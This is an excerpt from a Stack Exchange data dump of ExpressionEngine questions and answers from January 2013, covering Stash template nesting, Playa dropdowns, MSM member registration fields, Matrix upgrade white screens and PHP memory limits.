  <row Id="3689" PostTypeId="2" ParentId="3654" CreationDate="2013-01-13T14:13:53.293" Score="2" Body="&lt;p&gt;Could be you need to increase the limits for PHP to allow enough memory to create the thumbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried amending php.ini?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-01-13T14:13:53.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3690" PostTypeId="1" CreationDate="2013-01-13T14:15:29.833" Score="4" ViewCount="483" Body="&lt;p&gt;I'm having a bit of a stash dilemma brought about by my need to have modal window content inserted at the end of the parent HTML document.  Here's the scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;gallery&quot; index template that uses a gallery-pages channel to create the pages within the section.  Within that group, I have a radio button field type that the admin uses to select which content (from a pre-existing, pre-formatted list of options) should be inserted after the body field.  It is within this radio button that &quot;photo gallery xyz&quot; is selected, which uses an embed to insert a loop coming from the photos channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gallery index template has all this logic in it, with a simple outline like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery_pages&quot; limit=&quot;1&quot;}&#xA;{exp:stash:set_list name=&quot;page_body&quot;}&#xA;    {stash:other_variables}&#xA;    {stash:entry_body}&#xA;       {page_body}&#xA;       {if radio == &quot;&quot;}{/if}&#xA;       {if radio == &quot;1&quot;}{embed=gallery1}{/if}&#xA;       {if radio == &quot;2&quot;}{embed=gallery2}{/if}&#xA;       {page_extended}&#xA;    {/stash:entry_body}&#xA;{/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so each gallery embed would contain a loop from the photos channel (don't mind the conditional above - I'm actually using switchee).  But the reality is, I need two of them - a loop for the displayed items in the page, and a loop to generate the modals for each item in the display loop (which get matched up by entry ID).  And so I'm wondering how I might be able to achieve this.  In a perfect world, I'm imagining a stash:set_list inside the embed, setting the display items as variables and the modals as separate variables, which I could then stash:get_list together in the inside layout template. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;photos&quot; limit=&quot;30&quot;}&#xA;    {exp:stash:set_list name=&quot;display_photos&quot;}&#xA;        {stash:photo1}{photo1:small}{/stash:photo1}&#xA;        {stash:photo2}{photo2:small}{/stash:photo2}&#xA;        {stash:photo3}{photo3:small}{/stash:photo3}&#xA;        {stash:modal1}{photo1:large}{/stash:modal1}&#xA;        {stash:modal2}{photo2:large}{/stash:modal2}&#xA;        {stash:modal3}{photo3:large}{/stash:modal3}&#xA;    {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't but stash in an embed that itself is stashed, can I? I tried it and got no variables set from within the embed.  But I suspect there must be a way to achieve what I'm looking to do - I just can't seem to piece it together, though it seems similar in principle to this post on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1912/nesting-channel-entries-in-stash&quot;&gt;nesting channel entries with stash&lt;/a&gt; (which is effectively what I'm doing via the embed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; It's hard to describe without posting a lot of the template, but basically, I have a wrapper entries loop with a limit of 1 to create &quot;pages&quot; like company history, management, staff, etc. within the &quot;about&quot; channel, for example.  On the &quot;staff&quot; entry, I use a radio button to select the fact that i want a list of staff from the staff channel to appear after the page body - which is presented with an entries loop.  So I have nested entries loops.  In this one particular case, let's say from the staff list, I want to click on a staff person to open a modal.  The modal markup needs to jump to the bottom of the HTML just before  for example. So my entries loop of staff really is building two lists - the list of content to display in the page, and a hidden list at the bottom of the HTML markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2: Here's what I've done in my template so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries set_name=&quot;gallery-pages&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;{gv_disable_all}&quot;}&#xA;&#xA; {exp:stash:set_list name=&quot;entry_body_content&quot; scope=&quot;site&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;&#xA;    {stash:entry_title}{title}{/stash:entry_title}&#xA;&#xA;    {stash:entry_body}{cf_{my_main_channel_prefix}_body}{/stash:entry_body}&#xA;    {stash:entry_list_after}&#xA;&#xA;        {exp:switchee variable=&quot;{cf_{my_main_channel_prefix}_list_after}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;none|&quot;}{/case}&#xA;            {case value=&quot;photos&quot;}&#xA;                {embed=&quot;embeds/.gallery_cases_list&quot;}&#xA;            {/case}&#xA;        {/exp:switchee}&#xA;&#xA;    {/stash:entry_list_after}&#xA;    {stash:entry_modals}&#xA;&#xA;        {exp:switchee variable=&quot;{cf_{my_main_channel_prefix}_list_after}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;none|&quot;}{/case}&#xA;            {case value=&quot;photos&quot;}&#xA;                {embed=&quot;embeds/.gallery_modals_list&quot;}&#xA;            {/case}&#xA;        {/exp:switchee}&#xA;&#xA;    {/stash:entry_modals}&#xA;&#xA;    {stash:entry_extended}{if cf_{my_main_channel_prefix}_extended}{cf_{my_main_channel_prefix}_extended}{/if}{/stash:entry_extended}&#xA;&#xA;{/exp:stash:set_list}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have other stashed elements as well, such as description and title for the  area, but this is the &quot;core&quot; for the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows me in my inside layout template, within the main content area, a simple structure of &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Body&lt;/li&gt;&#xA;&lt;li&gt;List After content (if applicable)&lt;/li&gt;&#xA;&lt;li&gt;Extended Body (if applicable)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and right before  I can then insert the modals, if applicable (they'd only apply in certain cases - basically any time I assemble an image gallery wherein I want to use a modal window to display a larger version of the contents).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the big issue here is performance and efficiency.  .gallery_cases_list and .gallery_modals_list contain loops of the same channel entries. But I was stumped on how else to do it. Yes, I did try using a stash embed, but I still found I had to use two of them to generate my separately stashed lists of display items and modal items, so there wasn't much of a gain when I tried it that way.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-30T12:09:04.420" Title="Stash within a stash embed to jump two loop results to two different spots in the markup" Tags="|stash|nesting|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostTypeId="2" ParentId="2463" CreationDate="2013-01-13T14:25:49.930" Score="1" Body="&lt;p&gt;This can probably be done on the CSS side of things also. Just set the class to something to identify the channel and use &lt;code&gt;nth-child(3n+0)&lt;/code&gt; to style them differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3schools.com/cssref/sel_nth-child.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/cssref/sel_nth-child.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-01-13T14:25:49.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3692" PostTypeId="1" CreationDate="2013-01-13T15:07:17.353" Score="1" ViewCount="220" Body="&lt;p&gt;I'm having trouble displaying two Playa single select fields in a SafeCracker form that is dynamically loaded via Ajax with jQuery.&#xA;I have tried everything suggested in P&amp;amp;T's Get Satisfaction support area, but nothing's working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel named Orders and a channel named Traders. When I make a new order, I want to assign a Buying trader and Selling trader via a Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;strong&gt;site/index&lt;/strong&gt; template that is loading &lt;strong&gt;orders/_orders&lt;/strong&gt; template via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;order/_orders&lt;/strong&gt; template is a &lt;strong&gt;exp:channel:entries&lt;/strong&gt; loop wit all my Orders. There is also a SafeCracker form around 3 checkboxes in each order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every order has an Edit button, that, when clicked, loads a SafeCracker form for that particular Order via Ajax. The template is: &lt;strong&gt;orders/_order-editForm/{entry_id}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edit Order form containing the SafeCracker form holds two Playa single select fields which are embedded like this (one for Buyers and one for Sellers):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;chzn-select&quot; name=&quot;buyer_trader[selections][]&quot; style=&quot;width:200px;&quot;&amp;gt;&#xA;{embed='orders/_order-buyer-dropdown' entry_id=&quot;{buyer_trader}{entry_id}{/buyer_trader}&quot;}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;chzn-select&quot; name=&quot;seller_trader[selections][]&quot; style=&quot;width:200px;&quot;&amp;gt;&#xA;{embed='orders/_order-seller-dropdown' entry_id=&quot;{seller_trader}{entry_id}{/seller_trader}&quot;}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I'm embedding the entry_id of the selected buyer and seller to set the corresponding buyer and seller as 'selected' in the select field inside the embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the &lt;strong&gt;orders/_order-buyer-dropdown&lt;/strong&gt; and &lt;strong&gt;orders/_order-seller-dropdown&lt;/strong&gt; templates, I have the &lt;strong&gt;exp:channel:entries&lt;/strong&gt; loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;traders&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;&amp;lt;option value=&quot;{entry_id}&quot; {if &quot;{entry_id}&quot; == &quot;{embed:entry_id}&quot;}selected{/if}&amp;gt;&#xA;  {trader-name}&#xA;&amp;lt;/option&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is dat the selected Traders are not showing the right trader.&#xA;The orders &lt;strong&gt;Are&lt;/strong&gt; showing the correct trader. On submitting the forms everything &lt;strong&gt;IS&lt;/strong&gt; working. And the correct Traders &lt;strong&gt;Are&lt;/strong&gt; being submitted.&#xA;The only issue (that I have been tackling for the past 3 days) is that when I want to edit an order, the select boxes are not showing the correct traders as 'selected'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I do get it to work is when I use &lt;strong&gt;{field:buyer_trader}&lt;/strong&gt; / &lt;strong&gt;{field:seller_trader}&lt;/strong&gt;, except I shows me the Playa styled version of the select box, and I don't want that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="777" LastEditorUserId="268" LastEditDate="2013-01-15T01:04:02.773" LastActivityDate="2013-01-15T01:04:02.773" Title="2x Playa single select in Safecracker form loaded via AJAX" Tags="|add-on|safecracker|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostTypeId="1" CreationDate="2013-01-13T15:40:28.980" Score="3" ViewCount="208" Body="&lt;p&gt;I am running a pair of sites using MSM and although I have a separate registration form for each site (i.e. different template, different URL), there is no way of actually linking a newly registered user to the site they registered for - as all new users end up in the same &quot;Pending&quot; list, regardless of which form they filled in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the strange features of MSM, where some membership features are site-specific and others are not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I want to create a required custom profile field that will force users to specify which of the two sites they want to join. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to do this, it seemed to me, without forcing the user to write out the site name by hand, is to have a drop-down select menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Label: Which site?&#xA;placeholder: [select a site]&#xA;option1: site1&#xA;option2: site2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there seems to be no way to make select-type profile fields &quot;required&quot; as the system never perceives them as empty - even if I leave the placeholder position empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a way around this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or suggest an alternative way of linking new registrations to the site they have registered for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know that I could have them placed automatically into a site-specific member group, but then you lose the ability to activate multiple users while sending an activation email - which you get when using the &quot;Pending&quot; list; something my client wants to keep).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris&lt;/p&gt;&#xA;" OwnerUserId="605" LastEditorUserId="28" LastEditDate="2013-01-13T18:28:45.060" LastActivityDate="2013-01-13T18:28:45.060" Title="Making a select-type custom profile field actually *required*" Tags="|members|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostTypeId="1" CreationDate="2013-01-13T15:50:08.960" Score="1" ViewCount="85" Body="&lt;p&gt;This question is a parallel to this question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3693/making-a-select-type-custom-profile-field-actually-required&quot;&gt;Making a select-type custom profile field actually *required*&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it seemed correct to separate the two aspects in two different questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a pair of sites using MSM and, although I have a separate registration form for each site (i.e. different template, different URL), there is no way of actually linking a newly registered user to the site they registered for - as all new users end up in the same &quot;Pending&quot; list, regardless of which form they filled in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the strange features of MSM, where some membership features are site-specific and others are not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway of linking new registrations to the site they have registered for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I could have them placed automatically into a site-specific member group, but then you lose the ability to activate multiple users while sending an activation email - which you get when using the &quot;Pending&quot; list; something my client wants to keep. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried creating a custom profile input field and placing in the registration form as a hidden input field with its value fixed, but if the field is not configured as visible on the registration form, the system won't write the content in the database; and, if it is visible amongst my custom profile fields and is included in the form as a hidden input field, then it is effectively appearing twice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris&lt;/p&gt;&#xA;" OwnerUserId="605" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-13T18:53:01.110" Title="Linking new member registrations to a specific site in MSM" Tags="|members|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3695" PostTypeId="2" ParentId="3693" CreationDate="2013-01-13T15:52:17.113" Score="1" Body="&lt;p&gt;Make it a hidden submit field, on each registration form, so that way the user doesn't have to complete it at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;site1&quot; name=&quot;site_name&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;{site_name}&lt;/code&gt; would match whatever field you decided to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example&lt;/strong&gt;, if you were using ExpressionEngine's built-in registration process or say &lt;a href=&quot;http://www.solspace.com/software/detail/user/&quot; rel=&quot;nofollow&quot;&gt;Solspace's User&lt;/a&gt; that allows you to more readily customize those forms, then the actually field might be…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;m_field_id_5&quot; value=&quot;Site 1&quot; class=&quot;input&quot; maxlength=&quot;100&quot; size=&quot;40&quot; style=&quot;width:100%;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;m_field_id_5&quot; value=&quot;Site 1&quot; class=&quot;input&quot; maxlength=&quot;100&quot; size=&quot;40&quot; style=&quot;width:100%;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first makes it a hidden field, the second, just a regular input field with a pre-filled value. The hidden field is better, since you don't need the user to modify the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But assuming you aren't placing members into channel data, like &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;, &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, and &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecraker Registration&lt;/a&gt; allow, then you'll need to look up the actual name of the member field. Despite their labels of say 'Organization' or 'Site Name', they generally have field names such as &lt;code&gt;m_field_id_5&lt;/code&gt;, &lt;code&gt;m_field_id_6&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-13T17:16:29.100" LastActivityDate="2013-01-13T17:16:29.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostTypeId="2" ParentId="2216" CreationDate="2013-01-13T15:56:13.153" Score="1" Body="&lt;p&gt;I asked the Structure crew for some help and they supplied me with a hotfix for the issue. I believe it is &lt;a href=&quot;http://structure.tenderapp.com/discussions/problems/3286-php-errors-when-upgrading-to-expressionengine-255&quot; rel=&quot;nofollow&quot;&gt;built into the stable version now&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2013-01-13T15:56:13.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3697" PostTypeId="2" ParentId="3603" CreationDate="2013-01-13T16:30:25.773" Score="1" Body="&lt;p&gt;If you don't want to &quot;go deep into Expressionengine&quot; and want a custom table with a form inserting data then there is nothing to stop you doing this alongside other EE driven content on the site. Simply create your form and necessary PHP script(s) as required. It's only if you wanted to insert the data into EE's tables that you'd need to consider how EE works.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-13T16:30:25.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3698" PostTypeId="1" AcceptedAnswerId="3700" CreationDate="2013-01-13T17:48:42.333" Score="2" ViewCount="196" Body="&lt;p&gt;Earlier today, I updated my site to Matrix 2.5.2 and now, I'm getting white screens on all sorts of channel entries that have a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get white screens inside the CP when I edit an existing entry that has a Matrix field and also when I view that entry on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do &lt;strong&gt;not&lt;/strong&gt; get white screens when I go to publish an entry in a channel with a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify that it was, indeed, Matrix causing the issue, I pulled up an entry that did not have a Matrix field. I then added a Matrix field to its channel, and got a white screen. Removing the Matrix field returned the normal, expected behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, I am using ExpressionEngine v2.5.5 with 64M of memory in PHP.&lt;/p&gt;&#xA;" OwnerUserId="567" LastEditorUserId="268" LastEditDate="2013-01-15T01:06:10.133" LastActivityDate="2013-01-15T01:06:10.133" Title="Upgraded to Matrix 2.5.2, now getting white screens" Tags="|add-on|matrix|white-screen-of-death|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3699" PostTypeId="2" ParentId="3698" CreationDate="2013-01-13T18:26:59.193" Score="0" Body="&lt;p&gt;White screens in ExpressionEngine pretty much always mean there is a memory issue and I'm fairly sure this is the case for you after your upgrade. It sounds like you have large images stored in these Matrix rows. You can confirm that a memory error is the cause by looking at your PHP error log. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can increase your php memory a couple ways depending on what your web host allows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Increase the &lt;code&gt;memory_limit = 96M&lt;/code&gt; variable in your php.ini file&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;php_value memory_limit 96M&lt;/code&gt; to your .htaccess file&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;ini_set('memory_limit', '96M');&lt;/code&gt; to your config.php file or the main matrix module file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll need to increase the memory number until the white screen goes away. Then I'd suggest reuploading images with smaller file sizes if this isn't a daunting task and reducing the memory back to your normal level.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-13T18:26:59.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3700" PostTypeId="2" ParentId="3698" CreationDate="2013-01-13T18:51:34.630" Score="3" Body="&lt;p&gt;Is it possible that you've uploaded the files and not visited Add-ons &gt; FieldTypes &gt; Matrix?  You'll need to visit those fieldtype settings to run the database updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/matrix_2_5_upgrade_error&quot; rel=&quot;nofollow&quot;&gt;GetSatisfaction&lt;/a&gt; question with some additional information on this, might need to re-enter the license key as well. &lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="772" LastEditDate="2013-01-13T21:51:47.167" LastActivityDate="2013-01-13T21:51:47.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3701" PostTypeId="2" ParentId="3694" CreationDate="2013-01-13T18:53:01.110" Score="1" Body="&lt;p&gt;To my knowledge, there is not a way to link the member to their member site while they are in pending status using EE's native code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, your approach of using a custom member field is the correct one. &lt;strong&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3693/making-a-select-type-custom-profile-field-actually-required&quot;&gt;Your other question&lt;/a&gt;&lt;/strong&gt; will help you figure our how to get this field correctly working in your registration field.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-13T18:53:01.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3703" PostTypeId="2" ParentId="3675" CreationDate="2013-01-13T19:38:01.963" Score="2" Body="&lt;p&gt;Check out this article by @tyssen: &lt;a href=&quot;http://www.tyssendesign.com.au/articles/cms/more-stash-examples/&quot; rel=&quot;nofollow&quot;&gt;http://www.tyssendesign.com.au/articles/cms/more-stash-examples/&lt;/a&gt;&#xA;The 'shortcodes with Stash' examples should get you there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also this thread on Devot-ee: &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/3013&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/3013&lt;/a&gt; which tries to solve a similar NSM transplant solution.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-01-13T19:38:01.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3704" PostTypeId="1" AcceptedAnswerId="4720" CreationDate="2013-01-13T19:43:30.383" Score="5" ViewCount="456" Body="&lt;p&gt;I have an error showing up in the logs for a site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;[Sun Jan 13 13:27:11 2013] [error] [client IP] mv: cannot move &lt;code&gt;/path/public_html/system/expressionengine/cache/page_cache' to&lt;/code&gt;/path/public_html/system/expressionengine/cache/page_cache_delete': No such file or directory&#xA;[Sun Jan 13 13:26:48 2013] [error] [client IP] cannot move &lt;code&gt;/path/public_html/system/expressionengine/cache/page_cache' to&lt;/code&gt;/path/public_html/system/expressionengine/cache/page_cache_delete/page_cache'&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'IP' and 'path' represent a real ip and system path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site doesn't make use of page caching, but I understand EE can still try to manage it's cache.  Normally I wouldn't be concerned, but this particular site has periodic spikes where server load will jump from an average of .5 to 1.5 up to 80 to 100.  This crashes the server, and one happened this afternoon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My host is running loadwatch on the site, and it shows a large number of apache processes without a correspondingly large number of user connections.  They also said that there was an overload on the servers memory, which was followed by the load / process spike.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I think these might be related? &lt;a href=&quot;http://ellislab.com/forums/viewthread/152522/#753282&quot;&gt;http://ellislab.com/forums/viewthread/152522/#753282&lt;/a&gt; This forum thread from several years ago on an EE 1 site.  It's the only lead I have right now on why this site could be running perfectly fine 99% of the time and then periodically blowing up and taking down a VPS that's more than capable of running it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen something like this happen on their own sites?  If not, any suggestions for how to monitor what's causing spikes like this?  My host doesn't seem to have any more to offer as far as tracking, so I can't trace it down to specifically what's causing the spike right now.  Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-09-24T04:25:24.343" Title="Site load periodically blowing up, EE Cache related?" Tags="|cache-folder|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostTypeId="2" ParentId="3692" CreationDate="2013-01-13T19:51:18.743" Score="1" Body="&lt;p&gt;If you just want to pass the selected entry ID, try using the &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#child_ids&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;:child_ids&lt;/code&gt;&lt;/a&gt; tag instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;orders/_order-buyer-dropdown&quot; entry_id=&quot;{buyer_trader:child_ids}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also to reduce the chance of a template parse error, you should update the conditional in your dropdown embed templates to use the normal EE conditional syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;{entry_id}&quot; {if entry_id == embed:entry_id}selected{/if}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-13T19:51:18.743" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostTypeId="2" ParentId="3549" CreationDate="2013-01-13T20:08:27.173" Score="3" Body="&lt;p&gt;Re-uploading Channel Image's Wygwam plugin per their installation instructions as recommended by Brad Bell solved this.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2013-01-13T20:08:27.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3707" PostTypeId="1" AcceptedAnswerId="3709" CreationDate="2013-01-13T20:41:54.930" Score="4" ViewCount="572" Body="&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: config&#xA;Filename: wygwam/helper.php&#xA;Line Number: 535&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: config&#xA;Filename: wygwam/ft.wygwam.php&#xA;Line Number: 430&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded EE to 2.5.5 and Wygwam to 2.6.3. It is an MSM site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem persists after visiting the settings page.&lt;/p&gt;&#xA;" OwnerUserId="779" LastEditorUserId="779" LastEditDate="2013-01-17T16:51:08.597" LastActivityDate="2013-01-17T23:22:58.810" Title="WYGWAM PHP errors in CP after upgrade" Tags="|php|error|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostTypeId="1" AcceptedAnswerId="4735" CreationDate="2013-01-13T21:02:05.330" Score="1" ViewCount="178" Body="&lt;p&gt;The issue I’m coming up against is that a client’s site has a series of nested units, tasks and segments, and they want different conditionals run depending on the various segments. Now, I could use the url_title to find each url segment’s channel, but that seems like I’d potentially have too much overhead. What I’d really like to do is use the channel preferences to prefix each url_title with the channel name, and then in my conditional, query the segment in order to run various templates/changes/etc. Is there any decent way to accomplish this, or is this adding too much overhead, still?&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-14T14:29:53.863" Title="Can I use a conditional to match a string in a url segment?" Tags="|conditionals|segments|url-title|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
